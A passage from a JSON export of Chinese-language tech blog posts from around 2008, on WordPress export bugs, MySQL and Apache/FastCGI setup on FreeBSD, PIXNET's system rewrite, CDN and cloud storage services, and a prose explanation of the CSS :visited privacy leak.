    "body": "<a href=\"http://wordpress.org/\">WordPress</a> 有自己的輸出格式可以當作備份檔使用，但輸出的檔案並不是正確的 XML，要做很多處理。\r\n<ul>\r\n\t<li>首先他並不保證是 UTF-8 valid，所以要強制轉成 UTF-8 valid。在 <a href=\"http://www.php.net/\">PHP</a> 裡可以用 <code>$str = iconv('UTF-8', 'UTF-8', $str);</code> 處理。除此之外，還要把某些特殊字元處理掉：<code>$str = preg_replace('/[\\x00-\\x08\\x0b\\x0d-\\x1f]/', '', $str);</code>。</li>\r\n\t<li>使用了 &lt;excerpt:encoded&gt; 但卻沒有在開頭定義 xmlns:excerpt。如果需要用到 excerpt:encoded 可以硬轉成 content:excerpt 處理；如果不需要，可以直接拿掉：<code>$str = preg_replace('/&lt;excerpt:encoded&gt;.*?&lt;\\/excerpt:encoded&gt;/', '', $str)</code>;。</li>\r\n\t<li>wp:meta_value 沒有 encode 過，所以像 &amp; 這類的字元會因為沒有 encode 而造成 XML library 抱怨，如果沒有使用到這些欄位，可以照上面的方法拿掉。如果有用到的話可以拿 <a href=\"http://www.php.net/htmlspecialchars\">htmlspecialchars()</a> 處理後加回去。</li>\r\n</ul>\r\n把這三件事情處理完後似乎可以解決 WordPress 輸出的 Extended RSS 不合法的問題，用 <a href=\"http://www.php.net/dom\">PHP DOM</a> 也不會跳錯誤訊息了。\r\n\r\n其中第三個很明顯是 bug，晚點確認是 WordPress 問題並生出 patch 後得去開 ticket 修正。第二個也很嚴重，但是這個問題已經有人提出來，一直沒解：「<a href=\"http://normanski.com/lessons-learned/wordpress-import-fix-for-post-excerpts/\">Wordpress Import Fix for Post Excerpts</a>」，得去 ticket system 上檢查是不是有被提出來討論過。",
    "title": "WordPress 輸出 Extended RSS (Export) 時的問題"
  },
  {
    "id": "1568",
    "body": "<a href=\"http://www.python.org/\">Python</a> 是第一個可以在 <a href=\"http://code.google.com/appengine/\">Google App Engine</a> (GAE) 上執行的程式語言，而下一個很有可能是 <a href=\"http://www.perl.org/\">Perl</a>。\r\n\r\n<a href=\"http://bradfitz.com/\">Brad Fitzpatrick</a> 在他的 Blog 上說，他被 GAE team 允許對外公佈「我可以使用 20% 的時間開發 Perl on GAE」：<a href=\"http://brad.livejournal.com/2388824.html\">Perl on App Engine</a>。\r\n\r\n這是 GAE 支援其他程式語言的消息中，第一個被正式公開的。在 Brad Fitzpatrick 的文章裡面有一些藍圖，關於他大概會怎麼做的想法。我們應該可以期待他認真起來的戰鬥力 :p\r\n\r\nPS：Brad Fitzpatrick 是 <a href=\"http://www.livejournal.com/\">LiveJournal</a> 的創辦人、<a href=\"http://www.danga.com/memcached/\">memcached</a> 的作者、<a href=\"http://openid.net/\">OpenID</a> 的制定人。",
    "title": "Perl on Google App Engine"
  },
  {
    "id": "1573",
    "body": "剛剛翻了一下 <a href=\"http://www.twnic.net.tw/\">TWNIC</a> 的資料發現 <a href=\"http://www.hinet.net/\">HiNet</a> 今年對美國的頻寬加的非常快，第一季 34Gbps，第二季 47Gbps，第三季 57Gbps，不過據說之前是「加了一條就滿一條」，不知道這幾次一直補到底夠不夠用 XD\r\n\r\n另外也看得出幾個 ISP 快做不下去了... 頻寬一直減少。",
    "title": "頻寬"
  },
  {
    "id": "1575",
    "body": "年初的時候 <a href=\"http://dev.mysql.com/\">MySQL</a> 6.0 把 <a href=\"http://monkey.org/~provos/libevent/\">libevent</a> 匯入 source tree 裡，用 libevent 處理 connection pooling (之前似乎是 poll？)。\r\n\r\n<a href=\"http://www.freebsd.org/\">FreeBSD</a> 剛把 MySQL 6.0 納入 <a href=\"http://www.freebsd.org/ports/\">ports</a> 裡 (<a href=\"http://www.freshports.org/databases/mysql60-server\">databases/mysql60-server</a>)，可以用 <code>WITH_THREAD_POOL=yes</code> 把這個功能打開。\r\n\r\n理論上，使用 libevent 後在 Web 端用 persistent connect 連 MySQL 應該不會影響到效能。\r\n\r\n附上年初時看到的資料：<a href=\"http://krow.livejournal.com/572937.html\">MySQL 6.0, Libevent</a>。",
    "title": "FreeBSD 上的 MySQL 6.0"
  },
  {
    "id": "1577",
    "body": "<a href=\"http://www.simplecdn.com/\">SimpleCDN</a> 是最近看到的一個 service，就實際的情況看起來，他不是真正的 CDN，不過他的價位還算 okay，而且有免費的 15 credits (也就是 USD$15) 可以玩。\r\n\r\nSimpleCDN 主要有三種模式，第一種是 Pay Per File，也就是對檔案付一次費用就可以一直下載。第二種是第一種的加強，強調會自動處理抓取檔案並收取費用。第三種是 Reverse Proxy 模式，收費是 0.07 credits/GB。\r\n\r\n第三種模式跟 <a href=\"http://www.giga.net.tw/\">Giga</a> 的 <a href=\"http://webamp.giga.net.tw/\">WebAMP</a> 其實很接近，不過 SimpleCDN 的好處在於依照使用的量計費，不像 WebAMP 是每天有固定的量可以讓你用。速度上，從 <a href=\"http://www.hinet.net/\">HiNet</a> 過去幾乎都是透過 <a href=\"http://www.switchanddata.com/subpages/PAIX_services.asp\">PAIX</a> 轉 <a href=\"http://www.he.net/\">HE</a> 進去，速度還不錯。\r\n\r\n不過缺點是價錢比 WebAMP 貴，另外因為要走國際線路，連線速度會比 WebAMP 慢。(不過... 這倒未必 XD)\r\n\r\n另外一個不會使用 SimpleCDN 的考量是 Pay Per File 的部份，我覺得這個模式天生就做不起來啊...",
    "title": "SimpleCDN"
  },
  {
    "id": "1579",
    "body": "<strong>Update</strong>：這個站倒了 XD 只剩下 screenshot 可以看了...\r\n\r\n這個實在太讚了 XD\r\n\r\n從 <a href=\"http://blogoscoped.com/\">Google Blogoscoped</a> 看到「<a href=\"http://blogoscoped.com/archive/2008-07-30-n79.html\">Yuil</a>」這篇，有人用 <a href=\"http://code.google.com/appengine/\">Google App Engine</a>，拿 <a href=\"http://developer.yahoo.com/search/boss/\">Yahoo! Search BOSS</a> 的結果，與 <a href=\"http://www.cuil.com/\">Cuil</a> 的介面的 Mashup !!!\r\n\r\n我覺得搜尋的結果比 Cuil 準多了啊 XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2718167190/\"><img src=\"http://farm4.static.flickr.com/3234/2718167190_5f5332d120.jpg\" alt=\"\" /></a>",
    "title": "Yuil"
  },
  {
    "id": "1582",
    "body": "<a href=\"http://del.icio.us/\">Del.icio.us</a> 整個介面大升級 (據官方的說法，底層的程式也大翻修過)，換到 <a href=\"http://delicious.com/\">Delicious</a>。\r\n\r\n換過去後我第一個找的是 Javascript Bookmarklet，要把舊的換掉，找了許久還是找不到，最後在 Help 裡面找到 (其他頁沒有連結進去)：<a href=\"http://delicious.com/help/bookmarklets\">Install Bookmarklets on Delicious</a>。",
    "title": "Del.icio.us to Delicious"
  },
  {
    "id": "1584",
    "body": "目前原因不明，有可能是國外發現怎麼打在 L4 switch 後面的 DNS server 達到 DNS poison 的效果，也有可能是升級造成的問題，總之目前有很高的 packet lost：\r\n\r\n168.95.1.1：\r\n<a href=\"http://www.flickr.com/photos/gslin/2721956229/\"><img src=\"http://farm4.static.flickr.com/3237/2721956229_d2d264ee75.jpg\" alt=\"\" /></a>\r\n\r\n168.95.192.1：\r\n<a href=\"http://www.flickr.com/photos/gslin/2722779286/\"><img src=\"http://farm4.static.flickr.com/3031/2722779286_c06509df4a.jpg\" alt=\"\" /></a>\r\n\r\n168.95.192.2：\r\n<a href=\"http://www.flickr.com/photos/gslin/2721956381/\"><img src=\"http://farm4.static.flickr.com/3115/2721956381_5577cc57b1.jpg\" alt=\"\" /></a>",
    "title": "HiNet DNS 出問題"
  },
  {
    "id": "1588",
    "body": "<strong>Update</strong>：這個隱私問題在 2010 年就有被修正，請參考「<a href=\"https://blog.gslin.org/archives/2016/02/15/6315/%E9%97%9C%E6%96%BC-css-%E4%B8%AD-visited-%E7%9A%84%E9%9A%B1%E7%A7%81%E5%95%8F%E9%A1%8C/\">關於 CSS 中 :visited 的隱私問題</a>」的說明。\r\n\r\n雖然很早前就知道 CSS link 可以這樣做，不過實做起來就真的感覺到很邪惡了，既然被 full disclosure，這陣子應該會引起更熱烈的討論：<a href=\"http://radar.oreilly.com/2008/08/guessing-gender-from-browser-h.html\">Guessing gender from browser history</a>。\r\n\r\n首先請先參考 <a href=\"http://pesty.yichi.org/\">pesty</a> 這篇「<a href=\"http://pesty.yichi.org/blog/2007/05/10/clickstream/\">網路廣告商怎麼知道你是誰? 從 ClickStream 來判斷用戶資料</a>」，裡面有提到利用 cookie 資訊去猜測目前這個 user 的性別。首先先知道這個使用者逛過哪些網站，然後再用統計方法算出來。\r\n\r\n以往廣告商要判斷使用者逛過哪些網站，僅限於自己旗下的網站。舉例來說，很多網站有放 DoubleClick 的廣告，那麼 DoubleClick 就可以利用 IP 資訊、Cookie 資訊、User-Agent 之類的資訊來判斷哪些 request 是同一個使用者，所以 DoubleClick 就可以判斷出這個使用者有上過他旗下哪些網站。\r\n\r\n但利用 CSS 隱私漏洞，如果想要知道某個使用者是不是上過某個特定 URL 是可行的。簡單的解釋是：插入一個 link，然後對這個 link 做 CSS 效果，對於瀏覽過的 link (也就是 a:visited) 使他顯示的顏色不同，然後再用 Javascript 去讀顏色，就可以得知使用者是否有上過這個網站。很邪惡，方法也已經有一陣子了 (像是 <a href=\"http://www.readwriteweb.com/archives/socialhistoryjs_see_which_site.php\">SocialHistory.js</a> 這種工具)，不過大家一直想不出好的解法，於是就一直爛下去...\r\n\r\n這個 CSS hack 加上統計分析，可以分析出年齡範圍、性別、興趣，非常邪惡 -_-",
    "title": "利用 CSS 產生的隱私問題"
  },
  {
    "id": "1591",
    "body": "2008/08/07 出的 <a href=\"http://www.php.net/archive/2008.php#id2008-08-07-1\">PHP 4.4.9 released!</a> 會是 PHP 4 最後一個版本，不再有任何更新 (即使有安全漏洞，也不會有安全性更新)。這次的 <a href=\"http://www.php.net/ChangeLog-4.php\">PHP 4 ChangeLog</a> 也很短，除了把 <a href=\"http://www.pcre.org/\">PCRE</a> 版本升級到 7.7 以外，其他都是 bug 的修正。\r\n\r\n官方目前唯一維護的版本是 PHP 5，更細的說是 5.2.x 版，目前大多數的 PHP 軟體 (還活著的 Open Source Project) 應該都可以在上面跑。\r\n\r\n另外一個重點是 <a href=\"http://www.php.net/archive/2008.php#id2008-08-01-1\">PHP 5.3 在 2008/08/01 的時候出了第一個 alpha 版</a>，這個版本比 PHP 5.2 多了 namespace、lambda function，另外有 phar (應該是藉由 namespace 的幫忙而實做出來)。除了這些功能外，cyclic garbage collection 也是一項很重要的功能：以前如果遇到 cyclic reference 得自己用 <code>unset()</code> 確保 <a href=\"http://www.php.net/\">PHP</a> 能夠回收，在 PHP 5.3 就不需要自己用 <code>unset()</code> 打斷 cyclic...\r\n\r\n目前官方是希望今年十月釋出 PHP 5.3 正式版，應該會有 Framework 利用這些特性重新改寫...",
    "title": "PHP 4.4.9 - PHP4 最後一個版本"
  },
  {
    "id": "1597",
    "body": "<a href=\"http://subversion.tigris.org/\">Subversion</a> 1.5 最重要的改善就是 merge track，實際用過以後可以發現仍然不如 <a href=\"http://git.or.cz/\">Git</a> 方便，但比起以前得自己計算 revision 改善許多。\r\n\r\n不過也因為 merge 本身帶有意義 (會另外儲存 merge info)，在「<a href=\"http://blog.gslin.org/archives/2007/06/20/1210/\">用 Subversion 的 Merge 來 Undo</a>」這篇所介紹的方法就不適合了，因為 <code>svn merge -r 1234:1233 . .</code> 會帶有 merge info。\r\n\r\n現在比較好的方法是：<code>svn diff -r 1234:1233 . | patch -p0</code>，不會產生 merge info。",
    "title": "Subversion 1.5 的 merge"
  },
  {
    "id": "1599",
    "body": "在「<a href=\"http://linux.solidot.org/article.pl?sid=08/08/12/002216\">Debian会如何处理猴子写的代码的版权</a>」這篇提到的問題讓我想起 Star Trek: Voyager (<a href=\"http://zh.wikipedia.org/wiki/%E6%98%9F%E8%89%A6%E5%A5%87%E8%88%AA%E8%A8%98%EF%BC%9A%E9%87%8D%E8%BF%94%E5%9C%B0%E7%90%83\">星艦奇航記：重返地球</a>) 的 <a href=\"http://en.wikipedia.org/wiki/Author,_Author_(Star_Trek:_Voyager)\">Author, Author</a> 這一集，在討論非人類的權利...",
    "title": "猴子寫的程式碼..."
  },
  {
    "id": "1601",
    "body": "趁著在家養傷 (腳痛) 寫程式的時候，順便把這陣子 <a href=\"http://www.pixnet.net/\">PIXNET</a> 在重新改寫的部份紀錄下來，從底層與 OS 比較有關的、<a href=\"http://www.php.net/\">PHP</a> 的，以及 Web UI 的部份。\r\n\r\n<a href=\"http://www.freebsd.org/\">FreeBSD</a> 的 NFS client 的效能並不好，在這次 <a href=\"http://www.pixnet.net/\">PIXNET</a> 前後台大改版前，我這幾天重新跑數據看目前舊系統的架構，可以看出來 PHP code 放到 NFS 上面所吃的 system CPU resource 比 userland CPU resource 還多：(這是其中一台 blog 主機的 CPU usage，用 <a href=\"http://munin.projects.linpro.no/\">Munin</a> 畫出來的圖，中間斷掉那段是我在改 Munin 的設定...)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2761316675/\"><img src=\"http://farm4.static.flickr.com/3117/2761316675_41de21e1c1.jpg\" alt=\"\" /></a>\r\n\r\n從圖上可以看出這台跑 blog 的主機有 4 Logical CPUs，但卻有很多 idle time。這是因為 NFS 量更大時會不穩定，所以我們無法使用更高。這次改版把所有的 code 都放到 local disk 上，應該會有很大的改進。\r\n\r\n<a href=\"http://dev.mysql.com/\">MySQL</a> 還是用 <a href=\"http://www.linux.org/\">Linux</a> 比較好，同一台機器 (Xeon E5405 + 16GB RAM + 10KRPM*2) 分別跑過 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 7-STABLE、8-CURRENT (20080812)、Linux 2.6。在 FreeBSD 上用 UFS2 (包括 noatime + async 與 noatime + softupdate 都有測試) 一直都是 I/O bound，而在 Linux 上用 XFS 一直都很順。這是用 MySQL slave 跑 real traffic 而非模擬測試。\r\n\r\n新的資料庫系統還是用 Linux 平台，然後引入 <a href=\"http://www.drbd.org/\">DRBD</a> 與 <a href=\"http://www.innodb.com/\">InnoDB</a> 達到 High Availibility。不過我想在這陣子忙完後測 <a href=\"http://blog.kovyrin.net/mysql-master-master-replication-manager/\">MMM</a>，以他的實做方式看起來會比 DRBD 好。(但 DRBD 開發比較久，資料比較豐富，也比較容易找到穩定的設定)\r\n\r\n<a href=\"http://www.php.net/\">PHP</a> 的部份仍然使用 <a href=\"http://httpd.apache.org/\">Apache</a> 2.2 + <a href=\"http://www.fastcgi.com/\">mod_fastcgi</a> 與 PHP。不過這次不跑 event mode，而是跑 worker (threading mode)。在正確的設定下，<a href=\"http://pecl.php.net/package/APC\">APC</a> 的 cache 是整台機器共用，使用的記憶體更省。上面是 blog2 (worker MPM)，下面是 blog5 (event MPM) 的記憶體使用量：(附註：我覺得 event 應該也可以做到同樣的事情，這次換 worker 是因為種種機緣 XD)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2762292476/\"><img src=\"http://farm4.static.flickr.com/3097/2762292476_bdb36e5f62.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2761446343/\"><img src=\"http://farm4.static.flickr.com/3005/2761446343_6c22cd5251.jpg\" alt=\"\" /></a>\r\n\r\n其中 FreeBSD 上可用記憶體空間的意義可以參考 <a href=\"http://lists.freebsd.org/pipermail/freebsd-questions/2005-February/075925.html\">Inactive memory</a> 這篇，並不是只有 Free 代表可用空間。\r\n\r\n靜態檔案在重新建立架構時，儘量拆開到其他 domain 上，除了可以 pipeline download，也可以節省使用者送 cookie 的頻寬，這部份的伺服器改用 <a href=\"http://nginx.net/\">nginx</a>，因為要用他的 gzip on the fly 讓下載的量減少。我們用到的 javascript framework 盡量都塞進這個系統裡。\r\n\r\nPHP 的部份，這次是賭了一把，選擇 <a href=\"http://framework.zend.com/\">Zend Framework</a> 實做前後台，而且完完全全使用 <a href=\"http://en.wikipedia.org/wiki/Object-relational_mapping\">ORM</a> framework 處理資料。以目前的量去推算，看起來應該是沒問題，不過還沒上線前誰都不敢說，<a href=\"http://blog.gslin.org/archives/2007/12/05/1382/\">換燈管的 CTO</a> 還為此先準備另外的機器，如果真的不行就用先暫時用機器海換出來...\r\n\r\n我們用到的部份包括 <a href=\"http://framework.zend.com/manual/en/zend.controller.html\">Zend_Controller</a>、<a href=\"http://framework.zend.com/manual/en/zend.view.html\">Zend_View</a>、<a href=\"http://framework.zend.com/manual/en/zend.feed.html\">Zend_Feed</a>。(不，我們沒有用 <a href=\"http://framework.zend.com/manual/en/zend.db.html\">Zend_Db</a>，而是有個<a href=\"http://www.pixnet.net/photo/ronnywang/93869884\">撞到腦袋</a>的人寫了 Pix_Table_Cluster...)\r\n\r\n不過 Zend_Controller 並不好用，沒有針對開發者的想法發展 (另外一種說法是，沒有針對 PHP 語言特性實做簡潔有力的語法)，所以之後可能會自己開發 Pix_Controller。舉兩個例子說明：\r\n<ul>\r\n\t<li>要抓參數可以用 $this-&gt;getRequest()-&gt;getParam() 抓，也可以用 $this-&gt;_getParam() 抓。我可以理解後面是前面的捷徑，但如果 implements ArrayAccess 不是更好嗎？$this-&gt;getRequest() 抓出來的 object 可以直接 $obj['blog'] 抓出 blog 這個變數。</li>\r\n\t<li>如果我想把 /foo/bar/12/34/56/78 拆開，我必須用 Route 做，然後再用 getParam 抓到參數。或是在 barAction 裡面直接自己拆開。我個人比較偏好的方法是先去找 bar_12_34_56_78_Action，沒有再一路往上找，最後會是 bar_Action('12', '34', '56', '78')，這樣寫 code 才會方便。</li>\r\n\t<li>對 Helper 的使用相當不方便，但這個部份還沒有仔細想要怎麼做才會方便。</li>\r\n</ul>\r\n\r\n另外一個沒有用的是 <a href=\"http://framework.zend.com/manual/en/zend.form.html\">Zend_Form</a>，原因在於 Zend_Form 的預設值會使得客製化很困難。所以我們自己開發了 Pix_Form，只產生個別的元件，而不產生整體的 Form，所以你可以拿到一個版面後套版進去用。但仍然可以用 Pix_Form validate。\r\n\r\nDeploy PHP code 的事情，目前是用 <a href=\"http://samba.anu.edu.au/rsync/\">rsync</a> 做，但 rsync 的效率並不高 (不過目前是夠用了)，只能加減請 coder 擔待點。前陣子找了不少這類軟體在測試，像是 <a href=\"http://oss.linbit.com/csync2/\">csync2</a>，不過他同步的方式與期望了方式有落差，也許改變流程，配合 csync2 的方式做，或者是不改變流程，自己從頭幹一個出來？\r\n\r\nWeb UI 的部份這次改寫時直接強迫大家裝 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/249\">Html Validator</a> 直接檢查。我對 <a href=\"http://www.w3.org/TR/xhtml1/\">XHTML 1.0</a> 沒有什麼好感 (事實上這次改版大多都是用 <a href=\"http://www.w3.org/TR/html4/\">HTML 4.01</a>)，但至少不要有 &lt;div&gt; 不對稱這類 browser 會亂猜一通的問題。這樣才不用在奇怪的 DOM tree 裡面操作。\r\n\r\n在政策上，javascript 全部用 <a href=\"http://jquery.com/\">jQuery</a>，目前的 javascript code 幾乎都是 jQuery 寫出來的。Unobtrusive Javascript 目前只是個理想，有很多地方還是得直接處理。\r\n\r\n另外就是 CDN 的事情，有機會再說 orz",
    "title": "這次 PIXNET 前後台的一些整理"
  },
  {
    "id": "1619",
    "body": "我們 (<a href=\"http://www.pixnet.net/\">PIXNET</a>) 預定在 8/19 凌晨開始，全面停機轉換到新後台，8/20 正式上線：<a href=\"http://blog.pixnet.net/admin/post/21039168\">【公告】後台上線停機預告</a>。不過實際上我們待命的時間會比這個久，因為要提早開始準備，上線後還要保留二十四個小時 (預定) 修改問題。\r\n\r\n上線後除了開始收 feedback 外，也開始要跑下一波計畫改善整個系統。\r\n\r\n我打算實際拿 <a href=\"http://www.danga.com/mogilefs/\">MogileFS</a> 用，要了解穩定性與效能。MogileFS 是一個分散式的檔案系統，國外有一些站台已經在用，日本似乎也有不少人研究。\r\n\r\n用 MogileFS 時前端會放 reverse proxy，目前看起來 <a href=\"http://www.squid-cache.org/\">Squid</a> 3 與 <a href=\"http://varnish.projects.linpro.no/\">Varnish</a> 都還可以，只要不要碰到 Disk I/O 就沒問題。而 <a href=\"http://www.cacheboy.net/\">Cacheboy</a> 是一個 Squid 2 fork 出來的專案，還要再仔細看看。\r\n\r\n另外一種方案是不自己搞 reliable storage，除了 local 存一份外，直接丟 <a href=\"http://aws.amazon.com/s3\">Amazon S3</a>，然後買 CDN 服務，省下來的時間用在其他地方...\r\n\r\n另外一個要研究的是透過 <a href=\"http://en.wikipedia.org/wiki/PF_(firewall)\">PF</a> 做 load balancer，用 <a href=\"http://www.openbsd.org/faq/pf/carp.html\">pfsync 與 CARP</a> 拉高穩定性。\r\n\r\n資料庫的部份，除了 <a href=\"http://www.innodb.com/\">InnoDB</a> 外，我想看看 <a href=\"http://www.primebase.org/\">PBXT</a> 與 <a href=\"http://forge.mysql.com/wiki/Maria_Preview\">Maria</a> 進展的如何。\r\n\r\n接下來想研究的東西就跟前後台無關了，像是 <a href=\"http://wiki.openvz.org/\">OpenVZ</a> 與 <a href=\"http://www.xen.org/\">Xen</a>...",
    "title": "假設前後台順利上線後，之後的計畫..."
  },
  {
    "id": "1621",
    "body": "<a href=\"http://developer.yahoo.com/yui/\">YUI</a> team 終於想開了，不再用像是 <code>YAHOO.util.Event.addListener</code> 這種寫 code 時會一直抱怨的命名方式，而是改用 <code>Y</code> 當作物件，並支援 <a href=\"http://en.wikipedia.org/wiki/Fluent_interface\">fluent interface</a>，也就是 <code>Y.foo('blah').bar('blah2')</code> 這種串接的用法：<a href=\"http://yuiblog.com/blog/2008/08/13/yui3pr1/\">YUI 3.0 Preview Release 1</a>。\r\n\r\n但缺點就是因為語法改變，你必須改寫... 不過應該不是大問題，因為 YUI 2 與 YUI 3 不衝突，在過渡期時你可以把兩個 framework 都讀進來。",
    "title": "YUI 3.0 Preview Release 1"
  },
  {
    "id": "1624",
    "body": "這篇會講怎麼在 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 上建立標題所說的環境。\r\n\r\n<a href=\"http://httpd.apache.org/\">Apache</a> 2.2 的部份，透過 <a href=\"http://www.freebsd.org/ports/\">ports</a> 編譯時加上 <code>WITH_MPM=worker</code> 即可：\r\n<blockquote><code># cd /usr/ports/www/apache22\r\n# make WITH_MPM=worker install clean</code></blockquote>\r\n裝好後將 <code>/usr/local/etc/apache22/httpd.conf</code> 裡 <code>httpd-mpm.conf</code> 前面的 <code>#</code> 拿掉，並修改 <code>/usr/local/etc/apache22/extra/httpd-mpm.conf</code> 內 mpm_worker_module 那段：\r\n<blockquote><code>ThreadLimit 512\r\nStartServers 1\r\nMaxClients 512\r\nMinSpareThreads 1\r\nMaxSpareThreads 512\r\nThreadsPerChild 512\r\nMaxRequestsPerChild 0</code></blockquote>\r\n這些數字的設計是故意只跑起一隻 httpd，負責所有的連線。\r\n\r\n再來是裝 <a href=\"http://www.fastcgi.com/\">mod_fastcgi</a>：\r\n<blockquote><code># cd /usr/ports/www/mod_fastcgi\r\n# make install clean</code></blockquote>\r\n到 <code>/usr/local/etc/apache22/httpd.conf</code> 裡把 <code>fastcgi_module</code> 的註解拿掉後，把設定檔放到 <code>/usr/local/etc/apache22/Includes/fastcgi.conf</code> 裡：\r\n<blockquote><pre>#\r\nFastCgiConfig -maxClassProcesses 1\r\nScriptAlias /fcgi-bin/ \"/usr/local/www/fcgi-bin/\"\r\n&lt;Directory /usr/local/www/fcgi-bin/&gt;\r\n    SetHandler fastcgi-script\r\n&lt;/Directory&gt;\r\n#\r\nAddHandler php-fastcgi .php\r\nAction php-fastcgi /fcgi-bin/php</pre></blockquote>\r\n這邊數字的設計是故意讓一隻 httpd 只能生出一隻 fastcgi，再加上前面限制只有一隻 httpd，可以確保整個 apache 只會透過這個 fastcgi socket 跑 php。\r\n\r\n接著建立 <code>/usr/local/www/fcgi-bin</code> 這個目錄，並把 <code>php</code> 放進去：\r\n<blockquote><code>#!/bin/sh\r\nPHPRC=\"/usr/local/etc\"\r\nexport PHPRC\r\nPHP_FCGI_CHILDREN=128\r\nexport PHP_FCGI_CHILDREN\r\nexec /usr/local/bin/php-cgi</code></blockquote>\r\n然後把有支援 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 的 <a href=\"http://www.php.net/\">PHP</a> 與 <a href=\"http://pecl.php.net/package/APC\">APC</a> 裝好 (<a href=\"http://www.freshports.org/www/pecl-APC/\">www/pecl-APC</a>) 就可以了。\r\n\r\n這個架構下，httpd 會產生 512 threads 處理連線，並產生一個 fastcgi 的 socket 處理 PHP 程式，這個 socket 會由 128 隻 php-cgi 聽，且這 128 隻的 cache 會共用。\r\n\r\nAPC cache 預設是 30MB，在 <a href=\"http://www.layeredtech.com/\">Layeredtech</a> 這台 (也就是 blog.gslin.org 這台) 上面開到 256MB (大約用掉 200MB)，不過這是因為上面太多客人了，預設的 30MB 對於一般網站應該是不會滿。在安裝完 APC 後可以拿 <code>/usr/local/share/doc/APC/apc.php</code> 看目前 APC 的使用量。\r\n\r\nPHP opcode cache 很重要，很久前 <a href=\"http://zonble.twbbs.org/\">zonble</a> 的「<a href=\"http://zonble.twbbs.org/etc/bw.php\">雜誌專訪產生器</a>」造成機器速度很慢的原因，就是因為 APC 的空間滿了，常常需要重新編譯 PHP code。\r\n\r\n這樣的設定大約會消耗 1.5GB ~ 2.5GB 的記憶體空間 (大小會依照你的 PHP 有多少模組而定)，如果網站沒那麼大，可以把數字調低。",
    "title": "apache22 (worker) + mod_fastcgi + php5-fcgi"
  },
  {
    "id": "1632",
    "body": "<a href=\"http://aws.amazon.com/ec2\">Amazon EC2</a> 一直都沒有保證在上面的磁碟資料不會掉，這使得 <a href=\"http://dev.mysql.com/\">MySQL</a> 必須透過定時備份到 <a href=\"http://aws.amazon.com/s3\">S3</a> 以及即時將 binlog 備份到非 <a href=\"http://www.amazon.com/\">Amazon</a> 的站台以確保資料的安全性。\r\n\r\n之前的解法是將資料放到 <a href=\"http://aws.amazon.com/simpledb\">Amazon SimpleDB</a> 上，但 SimpleDB 的空間有限制 (還在 limited beta)，而且會有被綁在 <a href=\"http://www.amazon.com/\">Amazon</a> 上，如果想要搬出來會找不到 open source 的替代方案。另外一個問題是熟悉度的問題，大家還是比較偏好用 MySQL 這類的 RDBMS。\r\n\r\n這個限制終於在 Amazon 推出 <a href=\"http://aws.amazon.com/ebs\">EBS</a> (Elastic Block Store) 解決了：你可以在 EC2 上開一個磁碟空間給 MySQL 用！\r\n\r\n這個空間確保資料的持久性外，還可以 snaphost 到 S3 上。第一次 snapshot 會是 full backup，後面都是 incremental backup。單一 EBS 的空間可以從 1GB 到 1TB，而目前 beta 階段一個帳號可以開 20 個 EBS，也就是最多可以吃到 20TB。磁碟會是 block level，也就是說你可以在上面跑任何你想要的 filesystem，或者利用 stripe 提高效率。\r\n\r\n目前計費的方式，除了 storage 的費用外，每百萬次 I/O 會收 USD$0.10，snapshot 的費用是依照 S3 使用的量計算。不過這些都有可能會改變，可以參考 EBS 的網頁。\r\n\r\n參考：<a href=\"http://aws.typepad.com/aws/2008/08/amazon-elastic.html\">Amazon EBS (Elastic Block Store) - Bring Us Your Data</a>。",
    "title": "Amazon EBS (Elastic Block Store)"
  },
  {
    "id": "1634",
    "body": "回家打開 <a href=\"http://slashdot.org/\">Slashdot</a> 就看到大爆點：Adi Shamir (RSA 的 S) 與 Itai Dinur 找到方法把一卡車的 <a href=\"http://en.wikipedia.org/wiki/Block_cipher\">Block cipher</a> 與 <a href=\"http://en.wikipedia.org/wiki/Cryptographic_hash_function\">Cryptographic hash function</a> 給擺平：<a href=\"http://it.slashdot.org/article.pl?sid=08/08/22/1233211\">New Attack Against Multiple Encryption Functions</a>。\r\n\r\n點進 <a href=\"http://www.schneier.com/blog/archives/2008/08/adi_shamirs_cub.html\">Bruce Schneier</a> 的文章後有更新不少資訊，看起來目前在用的 Block cipher 應該都沒事，不過他沒提到 Cryptographic hash function 的部份，看起來還是有機會？",
    "title": "Hash Function"
  },
  {
    "id": "1636",
    "body": "<a href=\"http://coscup.org/2008/\">COSCUP 2008</a>，MySQL and SSD：\r\n\r\n<div style=\"width:425px;text-align:left\" id=\"__ss_567083\"><object style=\"margin:0px\" width=\"425\" height=\"355\"><param name=\"movie\" value=\"http://static.slideshare.net/swf/ssplayer2.swf?doc=mysql-and-ssd-1219558055468695-9&stripped_title=mysql-and-ssd-presentation-567083\" /><param name=\"allowFullScreen\" value=\"true\"/><param name=\"allowScriptAccess\" value=\"always\"/><embed src=\"http://static.slideshare.net/swf/ssplayer2.swf?doc=mysql-and-ssd-1219558055468695-9&stripped_title=mysql-and-ssd-presentation-567083\" type=\"application/x-shockwave-flash\" allowscriptaccess=\"always\" allowfullscreen=\"true\" width=\"425\" height=\"355\"></embed></object></div></div>",
    "title": "MySQL and SSD"
  },
  {
    "id": "1639",
    "body": "<a href=\"http://www.php.net/\">PHP</a> Framework 裡會大量使用 <code>require_once()</code>，由於需要判斷是否載入過檔案，<code>require_once()</code> 會使用 <code>realpath()</code> 取得檔案實際路徑資訊當作判斷條件，而這點會有效能上的問題。\r\n\r\n其他人其實也遇過，參考：<a href=\"http://www.techyouruniverse.com/software/php-performance-tip-require-versus-require_once\">PHP Performance tip: require versus require_once</a>，其中 comment 的部份也說明了目前 <a href=\"http://www.google.com/\">Google</a> 到的方法是沒有用的。\r\n\r\n<a href=\"http://www.freebsd.org/\">FreeBSD</a> libc 裡的 <code><a href=\"http://www.freebsd.org/cgi/man.cgi?query=realpath&sektion=3\">realpath(3)</a></code> 會使用 <code><a href=\"http://www.freebsd.org/cgi/man.cgi?query=lstat&sektion=2\">lstat(2)</a></code>，而 FreeBSD 的 <code>lstat(2)</code> 因為用到 <code><a href=\"http://www.freebsd.org/cgi/man.cgi?query=VFS_LOCK_GIANT&sektion=9\">VFS_LOCK_GIANT(9)</a></code>，所以在 FreeBSD 上很多隻 PHP 同時用 